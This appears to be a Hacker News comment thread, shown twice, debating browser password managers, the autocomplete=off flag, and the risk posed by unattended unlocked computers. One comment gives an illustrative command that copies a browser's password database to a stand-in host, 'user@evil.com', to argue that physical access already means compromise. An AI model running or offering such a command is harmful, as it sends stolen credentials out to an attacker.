4 ms·

The original article fails to take into account the larger population. The basic password managers in browsers are huge security holes. The one in FF does not u

by 205guy 13y ago

The original article fails to take into account the larger population. The basic password managers in browsers are huge security holes. The one in FF does not use a master password by default, so anyone could look at an unattended computer and see all stored passwords with a few clicks. The article mentions an old JavaScript attack on the passwords as well (but then dismisses the threat, since that one hole was patched). So the problem really is that the browsers pushed insecure features out to the masses, and many people adopted them. The number of people in the general population who use a password manager is low (obviously it is high here on HN). So think of the autocomplete=off flag as a flag to make sure you are using a competent password manager, one that recognizes the problem and then overrides the flag. Sounds like Safari and IE 11 are already doing that, so hopefully they fixed the problems of the early password managers.

spindritf 13y ago
Compared to weak passwords, phishing and a myriad other threats, how likely is that someone will walk up to my computer and copy a password? How likely are they to have a true criminal intent rather than a prank on their mind? And when your machine is compromised or otherwise controlled by an untrustworthy third party, you lost anyway.
- tptacek 13y ago
  Nobody is arguing that autocomplete is a threat on par with phishing.
  - rz2k 13y ago
    I think the argument is that you are less likely to use the same password on every site and service, or easily guessed passwords, if you are allowed to use a password manager. In other words, in practice there is an actual tradeoff between the two.
  - Retric 13y ago
    However, auto complete is a great way to fight phishing. It's easy to tell people you think your on website X but your password never shows up your probably on a different site. And the simple fact there password is not there is enough to get most people get somewhat paranoid. So, for most people you trade a near meaningless threat to fight a major one which tends to be a net win.
6d0debc071 13y ago
> The one in FF does not use a master password by default, so anyone could look at an unattended computer and see all stored passwords with a few clicks. Or, in its absence, take a look at the stickynotes and see all the password the person is using for everything. Or guess that the user's password is 'password' or something stupid like 'secret' I mean I agree that it's a bad call for public computers to have it enabled by default. But among people's likely options I'd far sooner have them using even a bad password manager than what I perceive them to be likely to do in its absence - and from that perspective pretty much anything that lowers the likely adoption of password managers seems like a bad call. I don't think that the larger population are going to find that FF's password manager doesn't work with a site and go running off to download KeePass or Lastpass or something like that. I think they're just going to shrug and type in 'password', (or some other dictionary word and a couple of numbers on the end - but in any case something re-used and simple,) for that site.
greggman 13y ago
You might not agree with this but hear me out. I used to work on Chrome and I was curious what the justification was for storing passwords unencrypted in Chrome. I went and talked to the Chrome security team and they frustratingly explained it to me as they get this question all the time. As you said, in FF, (and in Chrome), a few clicks and anyone could look and an unattended computer and see all the stored passwords. As they pointed out, an unlocked unintended computer can pretty much be owned by anyone who wants to own it. You've given them access to your computer. They can open a shell and start running apps. They can exploit any bug in the OS or other app. They can copy files to a USB stick or across the net. On top of that, your password manager (or FF or Chrome) will let them log into your mail, your bank, your facebook, whatever services you've saved passwords for even without knowing your password. The point is (1) don't leave your computer unlocked and unattended. Put a password on it, when you walk away from the computer lock the computer (start the screensaver or whatever that makes it required you to use a password to get back in) (2) don't ever let someone use your computer logged in as you. If you hand someone your computer to use login as guest then hand it to them. If you're like me you'll probably reject these suggestions. I thought "I don't want to be bother to lock and unlock my computer all the time" and I thought "It's stupid to expect me to put my computer in guest mode anytime I let someone else use it." But, after I calmed down and thought about it I realized they are right. If someone wants your passwords or other data and you hand them an unlocked machine they are going to get them. How FF or Chrome or Password managers store passwords has nothing to do with that.
- czr80 13y ago
  Let me fix one line in your post: If someone with sufficient technical knowledge wants your passwords or other data and you hand them an unlocked machine they are going to get them. Now, reducing the technical knowledge required from "opening a shell and running apps" to "click here to see all passwords in seconds" greatly reduces the technical knowledge required and so greatly increases the risk you're exposed to.
  - greggman 13y ago
    You're right. But, I'm guessing the set of people who know they could see your password easily is pretty much the same set of people with sufficient technical knowledge that they either know how to do more or know how to find out how to do more. Open terminal type scp .somebrowser/password.db user@evil.com: Takes no more time than writing down passwords like nfie28447ncjf;$/$38342. Probably less if there's more than one password
magicalist 13y ago
> So think of the autocomplete=off flag as a flag to make sure you are using a competent password manager No, what happens is that autocomplete=off flag is a flag to make sure you are using your brain as a password manager, which experience has shown to be a terrible idea. Instead of a browser password manager that can help make your passwords unique per site and comprised of random characters, users are forced to use passwords from their head, likely sharing them between sites. Someone coming to your unattended computer isn't nearly the threat of you using a simple and short password across every site you visit, including the sites that end up with a stolen passwords database or have a moronic password recovery option.

by 205guy 13y ago

spindritf 13y ago

Compared to weak passwords, phishing and a myriad other threats, how likely is that someone will walk up to my computer and copy a password? How likely are they to have a true criminal intent rather than a prank on their mind? And when your machine is compromised or otherwise controlled by an untrustworthy third party, you lost anyway.

tptacek 13y ago
Nobody is arguing that autocomplete is a threat on par with phishing.
- rz2k 13y ago
  I think the argument is that you are less likely to use the same password on every site and service, or easily guessed passwords, if you are allowed to use a password manager. In other words, in practice there is an actual tradeoff between the two.
- Retric 13y ago
  However, auto complete is a great way to fight phishing. It's easy to tell people you think your on website X but your password never shows up your probably on a different site. And the simple fact there password is not there is enough to get most people get somewhat paranoid. So, for most people you trade a near meaningless threat to fight a major one which tends to be a net win.

6d0debc071 13y ago

> The one in FF does not use a master password by default, so anyone could look at an unattended computer and see all stored passwords with a few clicks. Or, in its absence, take a look at the stickynotes and see all the password the person is using for everything. Or guess that the user's password is 'password' or something stupid like 'secret' I mean I agree that it's a bad call for public computers to have it enabled by default. But among people's likely options I'd far sooner have them using even a bad password manager than what I perceive them to be likely to do in its absence - and from that perspective pretty much anything that lowers the likely adoption of password managers seems like a bad call. I don't think that the larger population are going to find that FF's password manager doesn't work with a site and go running off to download KeePass or Lastpass or something like that. I think they're just going to shrug and type in 'password', (or some other dictionary word and a couple of numbers on the end - but in any case something re-used and simple,) for that site.

greggman 13y ago

You might not agree with this but hear me out. I used to work on Chrome and I was curious what the justification was for storing passwords unencrypted in Chrome. I went and talked to the Chrome security team and they frustratingly explained it to me as they get this question all the time. As you said, in FF, (and in Chrome), a few clicks and anyone could look and an unattended computer and see all the stored passwords. As they pointed out, an unlocked unintended computer can pretty much be owned by anyone who wants to own it. You've given them access to your computer. They can open a shell and start running apps. They can exploit any bug in the OS or other app. They can copy files to a USB stick or across the net. On top of that, your password manager (or FF or Chrome) will let them log into your mail, your bank, your facebook, whatever services you've saved passwords for even without knowing your password. The point is (1) don't leave your computer unlocked and unattended. Put a password on it, when you walk away from the computer lock the computer (start the screensaver or whatever that makes it required you to use a password to get back in) (2) don't ever let someone use your computer logged in as you. If you hand someone your computer to use login as guest then hand it to them. If you're like me you'll probably reject these suggestions. I thought "I don't want to be bother to lock and unlock my computer all the time" and I thought "It's stupid to expect me to put my computer in guest mode anytime I let someone else use it." But, after I calmed down and thought about it I realized they are right. If someone wants your passwords or other data and you hand them an unlocked machine they are going to get them. How FF or Chrome or Password managers store passwords has nothing to do with that.

czr80 13y ago
Let me fix one line in your post: If someone with sufficient technical knowledge wants your passwords or other data and you hand them an unlocked machine they are going to get them. Now, reducing the technical knowledge required from "opening a shell and running apps" to "click here to see all passwords in seconds" greatly reduces the technical knowledge required and so greatly increases the risk you're exposed to.
- greggman 13y ago
  You're right. But, I'm guessing the set of people who know they could see your password easily is pretty much the same set of people with sufficient technical knowledge that they either know how to do more or know how to find out how to do more. Open terminal type scp .somebrowser/password.db user@evil.com: Takes no more time than writing down passwords like nfie28447ncjf;$/$38342. Probably less if there's more than one password

magicalist 13y ago

> So think of the autocomplete=off flag as a flag to make sure you are using a competent password manager No, what happens is that autocomplete=off flag is a flag to make sure you are using your brain as a password manager, which experience has shown to be a terrible idea. Instead of a browser password manager that can help make your passwords unique per site and comprised of random characters, users are forced to use passwords from their head, likely sharing them between sites. Someone coming to your unattended computer isn't nearly the threat of you using a simple and short password across every site you visit, including the sites that end up with a stolen passwords database or have a moronic password recovery option.